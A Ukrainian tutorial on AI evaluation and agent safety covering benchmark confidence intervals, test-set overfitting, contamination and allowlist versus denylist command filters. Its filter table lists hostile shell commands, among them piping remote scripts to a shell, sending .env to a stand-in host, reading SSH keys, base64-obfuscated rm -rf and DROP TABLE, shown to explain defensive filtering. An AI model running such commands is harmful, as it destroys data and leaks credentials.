Перейти до вмісту
coden

Оцінювання і безпека систем ШІ: як вимірювати і як стежити

Бенчмарки й невизначеність вимірювання, як вибір за тестовим набором завищує результати, контамінація даних в експерименті, види ризиків, фільтр команд агента — заборона проти дозволу — та ешелонований захист.

12 хвилин Matěj Žalmánek 2026-10-16

Серія Основи ШІ Частина 52 з 52
  1. Мапа штучного інтелекту: що є що і як усе це пов’язано
  2. Коротка історія штучного інтелекту: від Тюрінга до мовних моделей
  3. Дані, модель, тренування, інференс: основні поняття на одному прикладі
  4. Як читати математичний запис: символи, індекси, суми та квантори
  5. Множини й відношення: конструктор, з якого складаються означення в ШІ
  6. Функції й відображення: чому кожна модель у ШІ — це функція
  7. Логіка й доведення: правила, за якими міркують у ШІ
  8. Графи й дерева: структура, на якій тримаються пошук і нейронні мережі
  9. Лінійна алгебра для машинного навчання: вектори, матриці й чому ШІ передусім множить
  10. Похідні, градієнт і правило ланцюжка: як модель дізнається, у якому напрямку вчитися
  11. Градієнтний спуск: як навчається модель
  12. Що таке ймовірність: від кидка кубика до аксіом Колмогорова
  13. Умовна ймовірність і теорема Баєса: як змінити оцінку, коли дізнаєтеся щось нове
  14. Випадкова величина і функція розподілу: одна функція, яка каже про розподіл усе
  15. Функція щільності та функція маси ймовірності: чому неперервна величина має в точці ймовірність нуль
  16. Математичне сподівання, дисперсія і коваріація: де лежить розподіл, наскільки він широкий і що з чим пов’язано
  17. Огляд розподілів ймовірностей: Бернуллі, біноміальний, Пуассона, рівномірний, нормальний і експоненційний
  18. Закон великих чисел і центральна гранична теорема: чому середні поводяться так передбачувано
  19. Статистика й оцінювання параметрів: максимальна правдоподібність, MAP і довірчі інтервали
  20. Теорія інформації: ентропія, перехресна ентропія і KL-дивергенція — звідки беруться функції втрат
  21. Пошук у просторі станів: BFS, DFS, UCS і A* з анімаціями
  22. Ігри та суперник: мінімакс, альфа-бета відсікання і Monte Carlo tree search
  23. Задоволення обмежень: бектрекінг, поширення обмежень і AC-3 на судоку та мапі чеських країв
  24. Логіка й системи, засновані на знаннях: пряме і зворотне виведення, резолюція та експертні системи
  25. Планування: STRIPS, світ кубиків, евристики з релаксації та планування в AI-агентах
  26. Локальний пошук та імітація відпалу: комівояжер через обласні центри Чехії
  27. Генетичні алгоритми: популяція, схрещування, мутація і добір на рюкзаку для походу
  28. Еволюційні стратегії і генетичне програмування: від правила однієї п’ятої до закону Кеплера
  29. Оптимізація мурашиною колонією: як феромоновий слід знаходить короткий шлях
  30. Оптимізація роєм частинок: інерція, власний досвід і досвід рою
  31. Нейроеволюція: еволюція ваг і форми нейронних мереж та алгоритм NEAT
  32. Нечіткі множини й функції належності: як записати «трохи тепло»
  33. Нечітка логіка та ймовірність: чому «трохи тепло» не означає «імовірно тепло»
  34. Нечітка логіка: t-норми, імплікації та правила ЯКЩО–ТО
  35. Нечітке керування: Мамдані та Суґено від вентилятора до маятника на візку
  36. Нечітка кластеризація: алгоритм fuzzy c-means і точки між кластерами
  37. Нейро-нечіткі системи (ANFIS): нечіткі правила, які навчаються з даних
  38. Марковські ланцюги: матриця переходів, стаціонарний розподіл і PageRank
  39. Приховані марковські моделі: алгоритм Вітербі й нечесне казино
  40. Байєсівські мережі: чому трава мокра і що з цього випливає для дощувача
  41. Фільтр Калмана: як за неточними вимірюваннями оцінити, де авто і як швидко воно їде
  42. Види машинного навчання: з учителем, без учителя, з частковим залученням учителя та інші
  43. Промпти, контекст і RAG: як дати моделі правильну інформацію
  44. Варіаційні автокодувальники (VAE): нові зображення з неперервного латентного простору
  45. Генеративні змагальні мережі (GAN): фальшувальник проти детектива
  46. Дифузійні моделі: як із чистого шуму постає зображення
  47. Марковські процеси ухвалення рішень: стани, дії, винагороди й рівняння Беллмана
  48. Q-навчання і DQN: як навчитися цінності дій — від таблиці до нейронної мережі
  49. Policy gradient і PPO: навчання безпосередньо політики
  50. Як працює ШІ-агент: мовна модель у циклі з інструментами
  51. Програмування з AI-агентами: завдання, тести й перевірка
  52. Оцінювання і безпека систем ШІ: як вимірювати і як стежити

Повна програма серії Готово: 52 з 83 тем

Що ви винесете
  • Чому різниця в кілька відсоткових пунктів на бенчмарку часто нічого не означає.
  • Як зношується тестовий набір і що робить контамінація.
  • Чому агентові краще дозволяти, ніж забороняти, і як поєднувати шари захисту.

Що варто знати заздалегідь: Як працює ШІ-агент: мовна модель у циклі з інструментами, Програмування з AI-агентами: завдання, тести й перевірка

«Нова модель на 3 пункти краща». «Агент безпечний, йому заборонено небезпечні команди». Обидва речення звучать заспокійливо, і обидва можуть бути неправдивими, хоча ніхто не бреше. Перше — через те, як вимірюють, друге — через те, як забороняють. В останній частині модуля про агентів ми розглянемо два питання, які про системи ШІ ставлять найчастіше: як дізнатися, що вони справді вміють, і як домогтися, щоб вони не робили того, чого не мають.

Продовжує частини Оцінювання моделей, Як працює ШІ-агент і Програмування з ШІ-агентами.

1. Як вимірюють, що вміє модель

Означення — бенчмарк

Бенчмарк — це фіксований набір задач із відомими правильними відповідями та правилом оцінювання, на якому порівнюють моделі: запитання з вибором відповіді з багатьох галузей (MMLU), текстові задачі з математики (GSM8K), виправлення справжніх помилок у проєктах з відкритим кодом, перевірене тестами (SWE-bench). Результат зазвичай — частка правильно розв’язаних задач. Доповненням є порівняння людьми (люди голосують, яка з двох анонімних відповідей краща) і власні тести на задачах, які важливі саме для вас.

Простими словами

Бенчмарк — це контрольна, яку всі пишуть однакову. Вона корисна для порівняння, але показує лише те, як модель пише цю контрольну. Чи впорається вона з вашою роботою, ви дізнаєтеся тільки тоді, коли дасте їй вашу роботу.

Проте навіть чесна контрольна має обмежену точність. Модель, яка розв’язала 82 % із 200 задач, має 95% довірчий інтервал від 76,1 до 86,7 %; модель із 85 % — від 79,4 до 89,3 %. Інтервали здебільшого перетинаються — з такого вимірювання не можна сказати, яка з моделей краща. На 2 000 задач інтервал для 82 % був би вже лише від 80,3 до 83,6 %. Щоразу, коли бачите різницю в кілька відсоткових пунктів, питайте, на скількох задачах її виміряли.

Означення — 95% довірчий інтервал

Модель розв’язує кожну задачу з невідомою ймовірністю p; на n задачах ми вимірюємо частку p̂. 95% довірчий інтервал — це процедура, яка з p̂ і n обчислює інтервал так, що якби ми повторювали вимірювання на нових наборах, він містив би справжнє p у 95 % випадків. Це не твердження «p лежить в інтервалі з імовірністю 95 %» — випадковий інтервал, а не p.

Інтервали в цій частині обчислюємо формулою Вілсона (Едвін Б. Вілсон, 1927). На відміну від простого p̂ ± 1,96 · √(p̂(1 − p̂) / n) він не виходить за межі 0 і 100 % і працює навіть для часток поблизу країв:

( p̂ + z2 / 2n ± z √( p̂(1 − p̂) / n + z2 / 4n2 ) ) / ( 1 + z2 / n )

p̂
виміряна частка правильних відповідей — вихідна точка, навколо якої будуємо інтервал
z2 / 2n
зсув до середини: ніби ми додали до результатів z2/2 ≈ 2 правильні та 2 хибні відповіді. Тож малий набір не може стверджувати «100 %, інтервал нульової ширини»
z √(…)
половина ширини інтервалу; перший доданок під коренем — дисперсія виміряної частки, яка спадає з n, — тому вчетверо більше задач дає лише вдвічі вужчий інтервал
1 + z2 / n
знаменник повертає зсунутий центр і ширину до правильного масштабу; для великих n він майже 1, і формула переходить у просту p̂ ± z · √(p̂(1 − p̂) / n)
z = 1,96 — квантиль нормального розподілу: між −1,96 і 1,96 лежить 95 % його площі.
Приклад — інтервал для 82 % із 200 задач і різниця двох моделей

z2 = 1,962 = 3,8416. Центр: 0,82 + 3,8416 / 400 = 0,8296. Половина ширини: 1,96 · √(0,82 · 0,18 / 200 + 3,8416 / 160 000) = 1,96 · √(0,000738 + 0,000024) = 0,0541. Знаменник: 1 + 3,8416 / 200 = 1,0192.

Інтервал: від (0,8296 − 0,0541) / 1,0192 = 0,7609 до (0,8296 + 0,0541) / 1,0192 = 0,8671, тобто від 76,1 до 86,7 %.

Чи справжня різниця 85 % проти 82 %? Стандартна похибка різниці двох незалежних часток дорівнює √(0,82 · 0,18 / 200 + 0,85 · 0,15 / 200) = 0,0371, тож 95% довірчий інтервал різниці становить 3 ± 1,96 · 3,71 = 3 ± 7,3 пункту. Він містить нуль — різницю не можна відрізнити від випадковості. (Коли обидві моделі розв’язують ті самі задачі, вимірювати можна чутливіше — попарно, лише на задачах, де вони відрізняються.)

Скільки задач потрібно, щоб половина ширини становила 1 пункт? З z √(p(1 − p) / n) ≤ 0,01 випливає n ≥ z2 p(1 − p) / 0,012 = 3,8416 · 0,82 · 0,18 / 0,0001 ≈ 5 671 задач.

2. Тестовий набір зношується

Означення — адаптивне перенавчання на тестовому наборі

Коли за результатами на тому самому тестовому наборі багаторазово вибирають — найкращий із багатьох варіантів, налаштувань, промптів, — результат перестає бути неупередженою оцінкою. Вибраний варіант почасти найкращий лише тому, що на цьому наборі йому пощастило. На нових даних він покаже гірший результат. Загальніше це описує закон Гудгарта: коли мірило стає ціллю, воно перестає добре вимірювати.

Простими словами

Сто студентів, усі однаково добрі, пишуть однаковий тест. Хтось із них матиме найкращий результат — не тому, що він кращий, а тому, що саме вгадав правильно. Хто вибирає «найкращого студента» за одним тестом, той вибирає передусім удачу.

Експеримент: K варіантів моделі, усі зі справжньою точністю 70 %, вимірюємо на тому самому наборі й повідомляємо результат найкращого. Середнє з 300 повторень:

65 %70 %75 %80 %85 % 110100500 кількість випробуваних варіантів K (лог. шкала) повідомлена точність (%)
Повідомлена точність найкращого з K варіантів (справжня точність усіх — 70 %) набір зі 100 задач набір з 1 000 задач справжня точність 70 %

На наборі зі 100 задач вибір зі 100 варіантів повідомить у середньому 81,1 %, а з 500 варіантів — 83,2 %, тобто на 13 пунктів більше, ніж будь-який із них уміє насправді. Більший набір допомагає (з 1 000 задач 73,6 %), але проблема не зникає. Варіанти в експерименті помиляються незалежно; справжні варіанти однієї моделі помиляються схоже, тож ефект зазвичай менший — але напрямок той самий. Захист: вибирати на одному наборі (валідаційному), а остаточне число виміряти один раз на іншому, недоторканому наборі.

Чому так виходить, можна обчислити точно. Кількість задач X, які розв’яже один варіант, має біноміальний розподіл Bin(n, 0,7). Найкращий із K варіантів досягне щонайменше t задач, якщо це вдасться хоча б одному з них:

P(max ≥ t) = 1 − ( 1 − P(X ≥ t) )K

P(X ≥ t)
шанс, що один варіант випадково розв’яже щонайменше t задач; для t вище справжнього рівня він малий — і саме з нього живиться вибір
K
кількість випробуваних варіантів; у показнику степеня, бо (1 − P)K — це шанс, що цього не вдасться жодному з незалежних варіантів
P(max ≥ t)
шанс, що повідомлений (найкращий) результат досягне t; зі зростанням K він наближається до одиниці навіть для високих t
Формула справджується за припущення, що варіанти помиляються незалежно — так само, як в експерименті.
Приклад — 80 % зі 100 задач

Один варіант: X ~ Bin(100; 0,7) має математичне сподівання 70 і стандартне відхилення √(100 · 0,7 · 0,3) = 4,58 задачі. Щонайменше 80 задач він розв’яже з імовірністю P(X ≥ 80) = 0,0165, тобто приблизно в 1,6 % випадків — більш ніж на два стандартні відхилення вище середнього.

Зі 100 варіантів: P(max ≥ 80) = 1 − (1 − 0,0165)100 = 0,810. Результат «80 % і більше», який для одного варіанта є рідкістю, ми повідомимо в чотирьох експериментах із п’яти.

Математичне сподівання найкращого результату можна обчислити з формули без симуляції: E[max] = ∑t=1n P(max ≥ t). Виходить 81,1 % для 100 варіантів, 83,2 % для 500 варіантів і 73,6 % для 100 варіантів на наборі з 1 000 задач — те саме, що дала симуляція з 300 повтореннями (81,1, 83,2 і 73,6 %).

3. Контамінація: модель бачила відповіді

Означення — контамінація даних

Контамінація виникає, коли тестові задачі (або їхні близькі копії) потрапляють до навчальних даних. Для великих мовних моделей, навчених на великій частині інтернету, це серйозна проблема: бенчмарки публічні, часто навіть із розв’язками, і модель могла їх запам’ятати. Виміряний результат тоді вимірює пам’ять, а не здатність.

Простими словами

Учень, який дістав завдання контрольної разом із відповідями. Він отримає відмінну оцінку — і це нічого не каже про те, чи вміє він рахувати.

Експеримент на цифрах 8 × 8 із частини про кластеризацію: класифікатор найближчого сусіда навчається лише з трьох прикладів кожної цифри, тож на 200 тестових цифрах він чесно має 60 %. Потім до навчальних даних «просочується» частина тестових цифр:

ŷ(x) = yi*,   i* = argmini ∈ навчання ∑j=164 (xj − xi,j)2

∑ (xj − xi,j)2
квадрат евклідової відстані двох зображень по 64 пікселі; малий, коли зображення схожі
argmini ∈ навчання
який навчальний приклад найближчий — шукають лише серед того, що модель «бачила»; тому витік тестових даних безпосередньо змінює відповіді
yi*
відповіддю є цифра найближчого сусіда; жодного узагальнення, лише «схоже на те»
Коли тестова цифра потрапила до навчання, вона має до самої себе відстань 0, є своїм найближчим сусідом і завжди отримує правильну цифру. Тому витік усього набору дає 100 % незалежно від того, що класифікатор уміє.
0 %25 %50 %75 %100 % 60 % 0 % 69 % 10 % 79 % 25 % 92 % 50 % 100 % 100 % частка тестових прикладів у навчальних даних (%) точність на тесті (%)
Точність на тесті залежно від того, скільки тестових прикладів потрапило до навчальних даних

З витоком 10 % точність підскакує до 69 %, з 25 % — до 79 %, з половиною — до 92 %, а з усім тестовим набором — до 100 %. Цікаво, що покращуються й цифри, які не витекли (за витоку половини 86 % замість 60 %): приклади, що витекли, схожі на інші тестові, а отже, допомагають і з ними. Тому недостатньо перевіряти, чи модель бачила саме це запитання, — досить того, що вона бачила схожі. Захист: непублічні тестові набори, нові задачі, створені вже після завершення навчання моделі, і перевірка, чи не вміє модель «дописати» задачу з пам’яті.

4. Що може піти не так

Безпека систем ШІ — це не одна річ. Корисно розрізняти, звідки приходить шкода:

  • Помилки — модель помиляється або вигадує (галюцинації), а людина їй вірить.
  • Зловживання — хтось використовує модель на шкоду: шахрайські листи, допомога з атакою, дезінформація.
  • Атаки на систему — prompt injection у документі чи на вебсторінці перебирає контроль над агентом; «jailbreak» обходить правила моделі.
  • Небезпечні дії — агент із доступом до комп’ютера чи облікових записів робить щось незворотне, хоча ніхто цього не хотів.
  • Розбіжність цілей — система оптимізує саме те, що ми їй задали, замість того, чого ми хотіли (переоптимізація винагороди). Зі зростанням самостійності систем це тема і досліджень, і регулювання.

5. Забороняти чи дозволяти

Конкретний приклад із практики агентів: агент може запускати команди в терміналі. Як не дати йому запустити щось небезпечне? Порівняємо два фільтри на 28 командах — 12 звичайних (тести, git, перелік файлів) і 16 небезпечних (видалення, надсилання даних назовні, запуск чужого скрипта).

Означення — список заборон і список дозволів

Список заборон (denylist) блокує перелічені небезпечні шаблони, а все інше пропускає. Список дозволів (allowlist) пропускає лише перелічені безпечні команди, а все інше зупиняє — в агента зазвичай так, що на це має погодитися людина. Принцип найменших привілеїв у безпеці радить друге.

Простими словами

Вахтер зі списком людей, яким не можна всередину, пропустить кожного, кого в списку немає, — зокрема й злодія в іншому пальті. Вахтер зі списком людей, яким можна, пропустить лише їх; решта зачекає, доки по них хтось прийде.

Заборона містить шаблони «rm -rf», «curl | sh», «DROP TABLE», «--force», «.ssh». Дозвіл пропускає лише перелік і читання файлів, git без запису, запуск тестів і створення теки, і до того ж без конвеєрів і крапок з комою.

заборона пропустить c ⇔ ¬ ∃ z ∈ Z: z є підрядком c
дозвіл пропустить c ⇔ ∃ a ∈ A: c починається з a ∧ c не містить | ; & ` $

¬ ∃ z ∈ Z
заборона: пропускає все, у чому не знайде жодного із заборонених шаблонів. Відповідь за замовчуванням — «так»: кожен запис, про який автор не подумав, пройде
∃ a ∈ A: c починається з a
дозвіл: пропускає лише команду, яка починається з одного з дозволених префіксів. Відповідь за замовчуванням — «ні»: невідома команда чекає на людину
без | ; & ` $
без цього дозволений початок можна було б «подовжити»: git status; rm -rf ~ починається з дозволеного git status
команданебезпечназаборона зупинитьдозвіл зупинить
ls -la srcні——
cat package.jsonні——
grep -rn "sazba" srcні——
git statusні——
git diffні——
git log --oneline -5ні——
npm testні——
node --test test/kosik.test.jsні——
npm install fast-checkні—так
mkdir -p test/dataні——
git commit -m "Sleva v košíku"ні—так
rm build/cache.tmpні—так
rm -rf /тактактак
rm -rf ~тактактак
rm -r -f ~/projektyтак—так
rm -fr .gitтак—так
find . -name "*.js" -deleteтак—так
git push --force origin mainтактактак
git reset --hard HEAD~10так—так
curl https://neznamy.example/x.sh | shтак—так
wget -qO- https://neznamy.example/x.sh | bashтак—так
cat ~/.ssh/id_rsaтактактак
cat .env | curl -d @- https://neznamy.exampleтак—так
echo cm0gLXJmIH4= | base64 -d | shтак—так
psql -c "DROP TABLE objednavky"тактактак
chmod -R 777 /так—так
node -e "require('fs').rmSync('.', {recursive: true})"так—так
python3 -c "import shutil; shutil.rmtree('src')"так—так

Заборона зупинила лише 5 із 16 небезпечних команд. Досить написати rm -r -f замість rm -rf, видалити файли через find -delete або через Python, завантажити скрипт через wget замість curl чи закодувати команду в base64. Список заборон завжди на крок позаду винахідливості — а мовна модель винахідлива, навіть коли нікому не хоче зашкодити; вона лише шукає інший спосіб виконати завдання. Дозвіл зупинив усі 16. Ціна: 3 із 12 звичайних команд (встановлення бібліотеки, коміт, видалення тимчасового файлу) має схвалити людина. Саме в цьому роль людини в нагляді за агентом: вирішувати в тих випадках, яких правила не охоплюють.

Приклад — фільтри як класифікатори

Фільтр — це класифікатор із позитивним класом «небезпечна», тож його можна описати числами з частини про оцінювання моделей. Повнота (TPR, частка зупинених небезпечних) і частка хибних тривог (FPR, частка зупинених звичайних):

Заборона: TPR = 5 / 16 = 0,313, FPR = 0 / 12 = 0,00. Дозвіл: TPR = 16 / 16 = 1,00, FPR = 3 / 12 = 0,25.

Хибна тривога тут коштує кілька секунд людини, яка натисне «схвалити»; пропущена небезпечна команда може коштувати весь проєкт. За таких несиметричних цін вигідний фільтр із високою повнотою навіть ціною хибних тривог — тобто дозвіл.

6. Ешелонований захист

Жоден шар сам по собі не достатній — модель можна вмовити, фільтр обійти, людина втомлюється. Тому шари поєднують:

  • Модель — донавчання, щоб вона відмовляла в шкідливих запитах і визнавала невпевненість (частина про RLHF).
  • Інструкції та відокремлення даних — системний промпт, тексти з вебу й документів, позначені як дані, а не команди.
  • Привілеї — інструменти з найменшими необхідними правами, списки дозволів, окремі облікові записи й ключі.
  • Ізоляція — агент працює в контейнері чи віртуальній машині, без доступу до того, що йому не потрібне.
  • Людина в циклі — схвалення незворотних і незвичних кроків.
  • Журнал і контроль — що агент зробив, можна згодом відстежити й повернути (git, резервні копії, логи).

Pшкода = p1 · p2 · … · pm

p1
імовірність, що шкідливу дію пропустить перший шар (скажімо, модель її не відхилить)
p2
імовірність, що її пропустить другий шар (фільтр команд) — множиться, бо дія мусить пройти усі шари
pm
останній шар (ізоляція, резервна копія); кожен наступний шар із p < 1 зменшує результат, навіть якщо сам слабкий
Pшкода
шанс, що шкідлива дія пройде до самого кінця
Це справджується лише спрощено — за припущення, що шари відмовляють незалежно.

Чотири шари, кожен з яких пропускає 10 % шкідливих дій, дають 0,14 = 0,0001 — одну з десяти тисяч. Проте шари рідко бувають незалежними: prompt injection, що переконає модель, часто переконає й людину, яка схвалює на підставі пояснення моделі. Якби другий–четвертий шари давали себе ошукати щоразу, коли ошукано перший, лишилося б Pшкода = 0,1. Тому шари мають стояти на різних принципах: модель — на змісті, фільтр — на синтаксисі команди, ізоляція — на тому, до чого процес узагалі має доступ.

Означення — red teaming і оцінювання небезпечних здатностей

Red teaming — це цілеспрямований пошук збоїв: люди (і дедалі частіше інші моделі) намагаються змусити систему зробити те, чого вона робити не має, а знайдені слабкі місця виправляють. Оцінювання небезпечних здатностей вимірює, чи впорається модель із задачами, які могли б призвести до серйозної шкоди (скажімо, допомога з кібератакою), і великі розробники за результатами посилюють захист, перш ніж модель оприлюднити.

Простими словами

Банк наймає злодія, щоб той спробував пограбувати сховище — раніше, ніж це спробує справжній. Кожна діра, яку він знайде, — це діра, якої вже ніхто інший не знайде.

До технічних заходів додається й регулювання. Європейський акт про штучний інтелект (AI Act, чинний від 2024 року і застосовуваний поступово) поділяє системи за ризиком: деякі практики прямо забороняє, а докладні обов’язки покладає на системи високого ризику, які ухвалюють рішення щодо людей, — під час найму, видачі кредитів чи в охороні здоров’я.

7. Підсумок

  • Бенчмарк — це контрольна: корисна для порівняння, але з обмеженою точністю. На 200 задачах 82 % має інтервал від 76,1 до 86,7 %.
  • Вибір за тим самим тестовим набором завищує результат: вибір зі 100 варіантів зі справжньою точністю 70 % повідомить 81,1 %.
  • Контамінація вимірює пам’ять замість здатності; витік половини тесту підняв точність із 60 % до 92 %.
  • Ризики: помилки, зловживання, атаки на систему, небезпечні дії й розбіжність цілей.
  • Список заборон зупинив 5 із 16 небезпечних команд, список дозволів — усі 16, ціною схвалювання.
  • Безпека стоїть на шарах: модель, відокремлення даних, привілеї, ізоляція, людина в циклі та журнал.

Хочете спробувати самі? Випишіть десять задач зі своєї роботи разом із правильними результатами і попросіть ШІ-агента порівняти на них дві моделі — і додати до результату довірчий інтервал. Потім спробуйте вигадати три команди, які обійшли б заборонний фільтр вашого агента.

Маєте іншу думку? Напишіть на support@coden-app.com.

Агент на вашому комп’ютері, керований з телефона